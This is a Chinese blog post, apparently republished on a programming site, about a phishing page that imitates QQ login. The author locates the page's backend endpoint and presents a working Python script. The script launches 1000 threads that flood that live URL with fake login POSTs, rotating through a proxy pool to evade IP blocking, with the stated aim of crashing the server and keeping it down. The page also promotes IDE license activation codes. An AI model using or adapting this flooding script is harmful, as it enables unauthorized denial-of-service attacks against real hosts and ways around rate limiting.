用Python打击盗号钓鱼网站

用Python打击盗号钓鱼网站事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preservelog,然后随便输入

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/

打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白
造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。

我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preserve log,然后随便输入一串账号密码,点击登陆

然后会发现抓到了api.php,完整地址是http://tencent.outlook.com.eskdp.xyz/mail/api/api.php

post方法发送了两个字段usernamepassword
记住这个地址,后面程序要用到

好的,我们已经拿到了真实的后台地址,想到这,某人咧嘴一笑,我们的思路是不停的给它发送请求,直到他的服务器崩溃(后面发现过段时间还会重启)

于是第一版本的代码就出炉了,通过多线程并发疯狂发送post请求,经过测试发现有些问题,就是这个网站好像可以锁定IP,对请求的IP进行限制,看到这种情况下,
某人咧嘴一笑,想到了IP的代{过}理{滤}池,于是clone了一个git开源项目,给这个程序注入灵魂,于是开启程序,一分钟后,再次刷新那个钓鱼网站,已经打不开了。

我用的代{过}理{滤}池项目是https://github.com/jhao104/proxy_pool

这个项目我启动的时候遇到了报错,如果有一样的问题可以看我提的issue:https://github.com/jhao104/proxy_pool/issues/453

下面放代码

#coding=utf-8
''' 疯狂发送post请求 '''
import requests
import random
from time import ctime  
import threading 

count = 1

def get_proxy():
    return requests.get("http://127.0.0.1:5010/get/").json()

def delete_proxy(proxy):
    requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy))

def getResponse(postJson):
    # ....
    retry_count = 5
    url = 'http://tencent.outlook.com.eskdp.xyz/mail/api/api.php'
    proxy = get_proxy().get("proxy")
    while retry_count > 0:
        try:
            response = requests.post(url, proxies={ 
   "http": "http://{}".format(proxy)}, data=postJson)
            # 使用代理访问
            return response
        except Exception:
            retry_count -= 1
    # 出错5次, 删除代理池中代理
    delete_proxy(proxy)
    return None

#创建请求函数
def postRequest():
    global count
    Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ"
    postJson= { 
   "username":random.randint(10000,9999999999),"password":"".join(random.choice(Number) for i in range(random.randint(6,10)))}#值以字典的形式传入
    # response = requests.post(url=url,data=postJson)
    response = getResponse(postJson)
    # if response is not None
    try:
        print("状态码:", response.status_code, "第", count, "次发送成功")
        count += 1
    except :
        pass
    
  
#创建数组存放线程 
threads=[] 
#创建1000个线程
for i in range(1000):
    #针对函数创建线程 
    t=threading.Thread(target=postRequest,args=())
    #把创建的线程加入线程组 
    threads.append(t)  
  
if __name__ == '__main__':
    #启动线程 
    for i in threads:  
        i.start()  
    #keep thread 
    for i in threads:  
        i.join()

后续我准备改进一下,增加周期性检测,然后放到服务器上,只要检测到网页可以打开就持续发送,对于这种危害大家信息安全的钓鱼网站,正是需要我们共同努力维护网络安全。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159485.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月26日 上午10:46
下一篇 2022年7月26日 上午10:46


相关推荐

  • WPF listview_wpf 数组

    WPF listview_wpf 数组网上很多方法,但是内容包含太全面,代码看上去很复杂,其实其中有很多是控制UI的在WPF中ListView的排序最基本的原理很简单就一句话ListViewControl.Items.SortDescriptions.Add(newSortDescription(“name”,ListSortDirection.Descending));就是这句,主要就是设置ListView的Items的SortDescriptions属性,这个属性是个集合,不同于我们熟悉的SQL或DataView的排序属性设置,SortD

    2022年10月3日
    7
  • Mac 中使用phpstorm 修改文件提示”only read”,只读权限[通俗易懂]

    Mac 中使用phpstorm 修改文件提示”only read”,只读权限

    2022年2月8日
    38
  • PCI与PCIe学习一——硬件篇[通俗易懂]

    PCI与PCIe学习一——硬件篇[通俗易懂]文章转载自:点击打开链接最近在学习驱动开发过程中涉及到PCI相关知识,在网上看了很多文章,良莠不齐,我总结一下比较好的文章分享给大家,那就从源头开始说起。PCI总线和设备树是X86硬件体系内很重要的组成部分,几乎所有的外围硬件都以这样或那样的形式连接到PCI设备树上。虽然Intel为了方便各种IP的接入而提出IOSF总线,但是其主体接口(primaryinterface)…

    2022年6月15日
    51
  • PHP技术开发微信公众平台

    PHP技术开发微信公众平台

    2021年9月23日
    46
  • python求次幂_python如何求次幂?

    python求次幂_python如何求次幂?python 中可以使用 math 模块中的 pow 方法求次幂 pow 方法返回 xy x 的 y 次方 的值 math 模块 pow 方法的语法 importmathma pow x y 示例 usr bin python coding UTF 8 importmath 导入 math 模块 print math pow 100 2 mat

    2026年3月17日
    2
  • 关于fmincon和cvx[通俗易懂]

    关于fmincon和cvx[通俗易懂]网上有很多fmincon函数如何使用的,这里不多讲。我主要总结我自己知道的。1.精度问题。在我的使用过程中,感觉cvx和fmincon都有精度限制,到10^(-6)左右就不准了。碰到精度问题,我采取做法是同时乘上一个放大因子10^(10)。2.cvx写起来更方便;3.fmincon目标函数和约束函数都可以有多个输入变量,而不仅仅是需要优化的那个变量,这样当目标函数和约束函数以及主要模

    2022年5月29日
    74

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号